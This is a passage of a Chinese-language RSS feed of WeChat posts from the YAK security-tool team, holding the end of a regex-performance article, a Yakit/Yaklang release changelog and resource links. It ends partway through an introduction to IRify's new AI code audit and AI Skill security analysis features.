leaf="">正则统一入口（RE2 优先、PCRE2 兜底）</span></p></td><td><p><code><span leaf="" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;">common/utils/regexp-utils/regexp-utils.go</span></code></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">go-pcre2-lite</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code><span leaf="" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;">github.com/VillanCh/go-pcre2-lite v0.1.2</span></code><span leaf="" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;">（drop-in 包 </span><code><span leaf="" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">.../regexp2</span></code><span leaf="">）</span></p></td></tr></tbody></table></p></div></div></div><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrecy3cx1z4i"><span leaf="">*说明：真实语料为本地 yaklang 项目库抽取的脱敏 HTTP 流量；rule4yak 规则集来源 SexyBeast233/rule4yak。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrecy3cxro9"><span leaf="">数据为特定硬件（darwin/arm64）与特定构建下的实测，绝对数字会随机器与规则集变化，但&#34;加速比随 N 增长&#34;与&#34;两层正交叠加&#34;的结论具有一般性。*</span></span></p><p style="margin-bottom: 0px;outline: 0px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: center;" data-pm-slice="3 5 []"><strong data-brushtype="text" style="outline: 0px;color: rgb(255, 255, 255);font-family: mp-quote, -apple-system-font, Arial, sans-serif;font-size: 20px;letter-spacing: 0.578px;background-color: rgb(247, 150, 70);"><span leaf="">END</span></strong></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-right: 0em;margin-bottom: 0px;margin-left: 0em;padding-right: 10px;padding-left: 10px;outline: 0px;background-color: rgb(255, 255, 255);font-size: 16px;color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><div style="outline: 0px;"><div powered-by="xiumi.us" style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 30px;outline: 0px;display: inline-block;width: 656.997px;vertical-align: top;border-style: solid;border-width: 1px;border-color: rgb(255, 129, 36);align-self: flex-start;flex: 0 0 auto;"><div powered-by="xiumi.us" style="outline: 0px;text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding-right: 11px;padding-left: 11px;outline: 0px;display: inline-block;width: auto;vertical-align: top;border-style: solid;border-width: 0px 1px;border-color: rgb(62, 62, 62) rgb(255, 129, 36);min-width: 10%;flex: 0 0 auto;height: auto;align-self: flex-start;"><div powered-by="xiumi.us" style="outline: 0px;color: rgb(255, 255, 255);"><p style="outline: 0px;"><span style="outline: 0px;background-color: rgb(255, 129, 36);"><strong style="outline: 0px;"><span style="outline: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="">更新记录 </span></span></strong></span></p></div></div></div><div powered-by="xiumi.us" style="margin-bottom: 10px;outline: 0px;"><div style="outline: 0px;font-size: 14px;text-align: justify;"><p><span leaf="">Yakit  v1.4.8-0710</span></p><p><span leaf="">1. WebFuzzer新增API接口测试功能</span></p><p><span leaf="">2. 全局配置增加“关闭二次弹窗”配置开关</span></p><p><span leaf="">3. 优化部分右键菜单快捷执行</span></p><p><span leaf="">4. 修复全局配置AI模型缓存问题</span></p><p><span leaf="">5. 修复history批量染色处理卡顿崩溃问题</span></p><p><span leaf="">6. 修复history点击右键菜单变白的问题</span></p><p><span leaf="">7. 优化引擎连接流程，增加可选工作空间</span></p><p><span leaf="">8. 优化右键执行插件的交互和展示</span></p><p><span leaf="">9. 登录后可使用移动端控制功能，绑定飞书/钉钉远程控制AI Agent功能</span></p><p><span leaf="">10. YakRunner优化AI代码编写的展示和交互</span></p><p><span leaf="">11. 优化WebFuzzer的按钮展示</span></p><p><span leaf="">Memfit  v1.0.3-0710</span></p><p><span leaf="">1. 修改工具调用卡片（icon、工具名称展示，理由位置、生成参数卡片样式）</span></p><p><span leaf="">2. 修改任务执行详情（修改标题、不新开tab）</span></p><p><span leaf="">3. 自由对话新增子agent任务描点定位</span></p><p><span leaf="">4. 优化自由对话待办清单展示，可展示已完成/进行中/未完成</span></p><p><span leaf="">5. 子Agent任务增加跳过和查看任务详情</span></p><p><span leaf="">6. 优化发送问题后前端UI展示逻辑</span></p><p><span leaf="">7. 优化自由对话任务详情展示逻辑，只展示一个，不重复多开</span></p><p><span leaf="">Yaklang 1.4.8-beta2</span></p><p><span leaf="">1. 新增飞书/钉钉远程控制AI Agent功能(需要登录后使用)</span></p><p><span leaf="">2. 新增代码审计子 Agent 与 react_loop 增强</span></p><p><span leaf="">3. 新增大量 MCP 工具集（chaos maker / fingerprint / http builder 等）</span></p><p><span leaf="">4. 修复大型项目 SyntaxFlow 扫描内存与卡死问题，重构 SSA 编译单元流式编译</span></p><p><span leaf="">5. 修复 HTTPFlow 标签更新、插件取消上下文和 facade TLS 加固</span></p><p><span leaf="">6. 修复 cybertunnel 隧道客户端错误处理与 MITM 热补丁并发问题</span></p><p><span leaf="">7. 新增 Windows ARM64 CI 支持与 slim(轻量版） 门禁测试</span></p></div></div></div></div></div></div><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-right: 0em;margin-bottom: 0px;margin-left: 0em;padding-right: 10px;padding-left: 10px;outline: 0px;background-color: rgb(255, 255, 255);font-size: 16px;color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><div style="outline: 0px;"><div powered-by="xiumi.us" style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 30px;outline: 0px;display: inline-block;width: 656.997px;vertical-align: top;border-style: solid;border-width: 1px;border-color: rgb(255, 129, 36);align-self: flex-start;flex: 0 0 auto;"><div powered-by="xiumi.us" style="outline: 0px;text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding-right: 11px;padding-left: 11px;outline: 0px;display: inline-block;width: auto;vertical-align: top;border-style: solid;border-width: 0px 1px;border-color: rgb(62, 62, 62) rgb(255, 129, 36);min-width: 10%;flex: 0 0 auto;height: auto;align-self: flex-start;"><div powered-by="xiumi.us" style="outline: 0px;color: rgb(255, 255, 255);"><p style="outline: 0px;"><span style="outline: 0px;background-color: rgb(255, 129, 36);"><strong style="outline: 0px;"><span style="outline: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="">YAK官方资源 </span></span></strong></span></p></div></div></div><div powered-by="xiumi.us" style="margin-bottom: 10px;outline: 0px;"><div style="outline: 0px;font-size: 14px;text-align: justify;"><p style="outline: 0px;"><span leaf="">Yak 语言官方教程：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://yaklang.com/docs/intro/" target="_blank">https://yaklang.com/docs/intro/</a></span></em></span></p><p style="outline: 0px;"><span leaf="">Yakit 视频教程：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://space.bilibili.com/437503777" target="_blank">https://space.bilibili.com/437503777</a></span></em></span></p><p style="outline: 0px;"><span leaf="">Github下载地址：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://github.com/yaklang/yakit" target="_blank">https://github.com/yaklang/yakit</a></span></em></span></p><p style="outline: 0px;"><span leaf="">Yakit官网下载地址：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://yaklang.com/" target="_blank">https://yaklang.com/</a></span></em></span></p><p style="outline: 0px;"><span leaf="">Yakit安装文档：</span></p><p style="outline: 0px;"><span style="outline: 0px;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;"><span leaf=""><a href="https://yaklang.com/products/download_and_install" target="_blank">https://yaklang.com/products/download_and_install</a></span></span></em></span></p><p style="outline: 0px;"><span leaf="">Yakit使用文档：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://yaklang.com/products/intro/" target="_blank">https://yaklang.com/products/intro/</a></span></em></span></p><p style="outline: 0px;"><span leaf="">常见问题速查：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://yaklang.com/products/FAQ" target="_blank">https://yaklang.com/products/FAQ</a></span></em></span></p></div></div></div></div></div><div style="outline: 0px;"><div data-tools="135编辑器" data-id="121426" style="outline: 0px;font-family: mp-quote, -apple-system-font, Arial, sans-serif;letter-spacing: 0.578px;"><p nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6015104398045313" data-s="300,640" data-type="png" data-w="2251" data-imgfileid="100037040" src="https://wechat2rss.xlab.app/img-proxy/?k=3977bf26&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ff7AtEgJhMZcGEibOlRNlz6ZPic3cWicMDwdqZLq9q0hibDYiaICia6nncspoDTRnjPXFGTr3VWd9FlV4YSXRStoabxbg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.325" data-type="gif" data-w="1080" data-imgfileid="100036982" src="https://wechat2rss.xlab.app/img-proxy/?k=41e5b736&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Ff7AtEgJhMZeX0EdicJxBOjGjQuecg0TvCvRgqibPwyOUp8untXs9Cl5XKux2yQQf27ibgZ0ic0Fm2yicdbYg6c4xUJg%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=97e40811&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0MTM4NzIxMQ%3D%3D%26mid%3D2247529987%26idx%3D1%26sn%3Dda4ed019de1b08cc07b5ad961bdc2295">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 10 Jul 2026 17:26:00 +0800</pubDate>
    </item>
    <item>
      <title>IRify新功能上线：AI代码审计和 Skills 安全扫描</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0MTM4NzIxMQ==&amp;mid=2247529965&amp;idx=1&amp;sn=e5a48fc131aab324e326ec759ac71fdc</link>
      <description>紧跟时代潮流 IRify 同时支持 AI 与传统 SAST 技术，快来试试吧</description>
      <content:encoded><![CDATA[<p>原创 <span>YAK</span> <span>2026-07-03 17:53</span> <span style="display: inline-block;">湖南</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4ac80b66&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjibGAup6p72HKJfDCSF5bkG0n5LqDZQgvlJgIPPb2g8pDSjm8LstyFvF6dibdcm1OAsSDDKsA3iabKq1ma6KsPS4BCzV0JicsdesicOUx9jjHibj8%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>紧跟时代潮流 IRify 同时支持 AI 与传统 SAST 技术，快来试试吧</p>
  <div><div data-mpa-action-id="mr4lpd3biai" data-pm-slice="0 0 []"><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.1927710843373494" data-type="gif" data-w="1079" style="background-color: transparent;" type="block" data-imgfileid="100032990" src="https://wechat2rss.xlab.app/img-proxy/?k=2ce71a29&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Ff7AtEgJhMZfCSs0zKcMmDXyJt76PDpGiataSbajd3BpbZnPXBCqFaA3icu2mY1LGqAmJHIiaCq5N9qCBv47ktQEYA%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p><p style="text-align: center;margin-top: 8px;margin-bottom: 8px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.462037037037037" data-s="300,640" data-type="webp" data-w="1080" style="background-color: transparent;" type="block" data-imgfileid="100040730" src="https://wechat2rss.xlab.app/img-proxy/?k=1ed05c12&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Ff7AtEgJhMZd0VthLJpzgmAAibgKmOtuud9I0gL4U9bSUD2lUpicibTtwAKcSPvkh1Wlibj7Mmo7BOWN5myLMiaeQQ9w%2F640%3Fwx_fmt%3Dwebp%26from%3Dappmsg"/></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mr4lpd2r1zhp"><span leaf="">本文介绍 IRify 中两项新的 </span></span><span mpa-font-style="mr4lpd2rvgx" style="font-size: 15px;"><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">AI</span></span></strong><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);"> 联网审计</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 功能：</span></span><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">AI 代码审计</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 与</span></span><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">AI Skill 安全分析</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">。</span><span textstyle="" style="letter-spacing: 1px;">阅读后，你可以独立完成从打开软件、选择目录、开始审计，到与 AI 协作分析代码的全过程。</span></span></span></p></div><div data-mpa-action-id="mr4lv62uppp" data-pm-slice="0 0 []"><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><strong><span leaf="" style="font-weight: bold;outline: 0px;">一、<span textstyle="" style="letter-spacing: 1px;">这两项功能是什么？</span></span></strong></p></div></div></div><p style="margin: 8px;line-height: 1.6em;"><span mpa-font-style="mr4lpd2r13qf" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">IRify 首页现在提供四种审计方式。其中 </span></span><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">AI</span></span></strong><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);"> 代码审计</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 和 </span></span><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">AI Skill 安全分析</span></span></strong></span><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mr4lpd2rwvw"><span leaf=""> 是本次新增的两项，都需要联网，通过右侧 AI 对话助手帮你分析代码。</span><byte-sheet-html-origin data-id="1783069857871" data-version="4" data-is-embed="true" data-grid-line-hidden="false" data-lark-html-role="root" data-copy-type="col" data-mpa-action-id="mr4prg6t7yu"><p><table style="border-collapse: collapse;min-width: 75px;"><tbody><tr><td style="color:rgb(0, 0, 0);font-weight:bold;text-align:center;word-wrap:break-word;word-break:break-word;white-space:pre-wrap;"></td><td style="color:rgb(0, 0, 0);font-weight:bold;text-align:center;word-wrap:break-word;word-break:break-word;white-space:pre-wrap;"><p><span leaf="" mpa-font-style="mr4prm1x1r7w" style="font-size: 14px;" data-mpa-action-id="mr4prm2615ie" data-pm-slice="0 0 []">AI 代码审计</span></p></td><td><p style="margin: 8px;line-height: 1.6em;"><span leaf="" style="letter-spacing: 1px;font-size: 14px;"><span textstyle="" style="font-weight: bold;">AI Skill 安全分析</span></span></p></td></tr><tr><td style="color:rgb(0, 0, 0);font-weight:bold;word-wrap:break-word;word-break:break-word;white-space:pre-wrap;"><p><span leaf="" mpa-font-style="mr4ps1i224sv" style="font-size: 14px;" data-mpa-action-id="mr4ps1ib1gmv" data-pm-slice="0 0 []">适合分析什么</span></p></td><td><p><span style="color: rgb(0, 0, 0);word-wrap: break-word;word-break: break-word;white-space: pre-wrap;font-size: 14px;"><span leaf="">普通项目源码：业务逻辑、跨文件调用、复杂漏洞</span></span></p></td><td><p><span style="color: rgb(0, 0, 0);word-wrap: break-word;word-break: break-word;white-space: pre-wrap;font-size: 14px;"><span leaf="">Skill 相关项目：Skill 是否安全、是否存在恶意行为</span></span></p></td></tr><tr><td style="color:rgb(0, 0, 0);font-weight:bold;word-wrap:break-word;word-break:break-word;white-space:pre-wrap;"><p><span leaf="" mpa-font-style="mr4ps5kdce7" style="font-size: 14px;" data-mpa-action-id="mr4ps5kn132l" data-pm-slice="0 0 []">AI 擅长什么</span></p></td><td><p><span style="color: rgb(0, 0, 0);word-wrap: break-word;word-break: break-word;white-space: pre-wrap;font-size: 14px;"><span leaf="">读懂业务、解释风险、给出修复思路</span></span></p></td><td><p><span style="color: rgb(0, 0, 0);word-wrap: break-word;word-break: break-word;white-space: pre-wrap;font-size: 14px;"><span leaf="">针对 Skill 场景做专项分析</span></span></p></td></tr><tr><td style="color:rgb(0, 0, 0);font-weight:bold;word-wrap:break-word;word-break:break-word;white-space:pre-wrap;"><p><span leaf="" mpa-font-style="mr4ps8f1h9t" style="font-size: 14px;" data-mpa-action-id="mr4ps8fd1ybr" data-pm-slice="0 0 []">首页按钮</span></p></td><td><p><span style="color: rgb(0, 0, 0);word-wrap: break-word;word-break: break-word;white-space: pre-wrap;font-size: 14px;"><span leaf="">「开始 AI 审计」</span></span></p></td><td><p data-mpa-action-id="mr4psbsg1u7l"><span style="color: rgb(0, 0, 0);word-wrap: break-word;word-break: break-word;white-space: pre-wrap;font-size: 14px;"><span leaf="">「开始 Skill 分析」</span></span></p></td></tr></tbody></table></p></byte-sheet-html-origin></span><byte-sheet-html-origin data-id="" data-version="4" data-is-embed="true" data-grid-line-hidden="false" data-copy-type="col"><p style="margin-left: 8px;margin-right: 8px;line-height: 1.6em;"><span leaf="" mpa-font-style="mr4lv62g16t1" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">和传统「代码扫描」有什么区别？</span></span></p></byte-sheet-html-origin></p><ul style="margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li style="text-align:left;color:#fd8009;"><p style="margin-bottom: 8px;line-height: 1.6em;"><span mpa-font-style="mr4lv62gs5f" style="font-size: 15px;"><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">传统代码扫描 / 传统代码审计</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">按内置规则离线扫描，速度快，适合批量找已知模式。</span></span></span></p></li><li style="text-align:left;color:#fd8009;"><p style="margin-bottom: 8px;line-height: 1.6em;"><span mpa-font-style="mr4lv62g1l08" style="font-size: 15px;"><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">AI</span></span></strong><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);"> 代码审计 / Skill 安全分析</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">像和一位安全专家对话，你可以边看代码边提问，AI 能结合上下文做解释和研判。</span></span></span></p></li></ul><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span mpa-font-style="mr4lv62g1e9e" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">两项 AI 功能进入的是 </span></span><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">同一个工作台</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span><span textstyle="" style="letter-spacing: 1px;">左边看代码、右边和 AI 聊天，只是 AI 的分析模式不同。</span></span></span></p></div><div data-mpa-action-id="mr4lxl1yehq" data-pm-slice="0 0 []"><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><strong><span leaf="" style="font-weight: bold;outline: 0px;">二、打开 IRify 首页</span></strong></p></div></div></div><p style="margin: 8px;line-height: 1.6em;" data-mpa-action-id="mr4lx5giyts" data-pm-slice="0 0 []"><span mpa-font-style="mr4lx5g91n3i" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">启动 IRify 后，首先看到的是 </span></span><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">代码审计工作台首页</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">。</span></span></span></p><p style="text-align: center;padding: 0.5em;" data-type="image" data-ace-gallery-json="{&#34;items&#34;:[{&#34;uuid&#34;:&#34;10be624e-4625-467c-9f3e-24003bd73492&#34;,&#34;height&#34;:1842,&#34;width&#34;:4096,&#34;currHeight&#34;:1842,&#34;currWidth&#34;:4096,&#34;natrualHeight&#34;:1842,&#34;natrualWidth&#34;:4096,&#34;pluginName&#34;:&#34;imageUpload&#34;,&#34;scale&#34;:1,&#34;src&#34;:&#34;https%3A%2F%2Finternal-api-drive-stream.feishu.cn%2Fspace%2Fapi%2Fbox%2Fstream%2Fdownload%2Fpreview%2FUgrWb7SmcoTMTRxvyjBc6fXcnId%2F%3Fpreview_type%3D16&#34;,&#34;file_token&#34;:&#34;UgrWb7SmcoTMTRxvyjBc6fXcnId&#34;,&#34;image_type&#34;:&#34;image/png&#34;,&#34;size&#34;:1839860,&#34;comments&#34;:[]}]}" nodeleaf="" data-mpa-action-id="mr4lwj3ntbs" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.44970703125" data-type="png" data-w="4096" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-width="4096" data-height="1842" data-imgfileid="100046308" src="https://wechat2rss.xlab.app/img-proxy/?k=7b71b612&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72GIW5UqQQ7z04ZMHVY8g4dQxFAkTp5WbajnVZcWKqdWT3pvl2YR4LlA0hsJCIyLYmpVibgckUPIp0dD6pdFwOKXCqOfwSCMnMJo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span mpa-font-style="mr4lxl1lswc" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">页面下方是项目与风险的统计概览；上方 </span></span><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">「快速入口」</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;">区域有四张卡片：</span></span></span></p><p style="margin-bottom: 8px;line-height: 1.6em;margin-left: 8px;margin-right: 8px;"><span mpa-font-style="mr4lxl1l4sz" style="font-size: 15px;"><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">1.AI 代码审计</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">（联网）</span></span></span></p><p style="margin-bottom: 8px;line-height: 1.6em;margin-left: 8px;margin-right: 8px;"><span mpa-font-style="mr4lxl1lsm7" style="font-size: 15px;"><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">2.AI Skill 安全分析</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">（联网）</span></span></span></p><p style="margin-bottom: 8px;line-height: 1.6em;margin-left: 8px;margin-right: 8px;"><span mpa-font-style="mr4lxl1l1wir" style="font-size: 15px;"><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">3.传统代码审计</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">（离线）— 原有功能</span></span></span></p><p style="margin-bottom: 8px;line-height: 1.6em;margin-left: 8px;margin-right: 8px;"><span mpa-font-style="mr4lxl1lmh0" style="font-size: 15px;"><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">4.代码扫描</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">（离线）— 原有功能</span></span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><strong mpa-font-style="mr4lxl1l1e3g" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">怎么选？</span></span></strong></p><ul style="margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li style="text-align: left;"><p style="margin-bottom: 8px;line-height: 1.6em;"><span mpa-font-style="mr4lxl1l11x6" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">要审 </span></span><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">普通业务代码</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">、</span><span textstyle="" style="letter-spacing: 1px;">需要 AI 帮你读逻辑、解释漏洞 → 点 </span></span><strong style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">「开始 AI 审计」</span></span></strong></span></p></li><li style="text-align: left;"><p style="margin-bottom: 8px;line-height: 1.6em;"><span mpa-font-style="mr4lxl1l1zz8" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">要审 </span></span><strong style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">Skill 项目</span></span></strong><span leaf="" style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">、</span></span><span leaf=""><span textstyle="" style="letter-spacing: 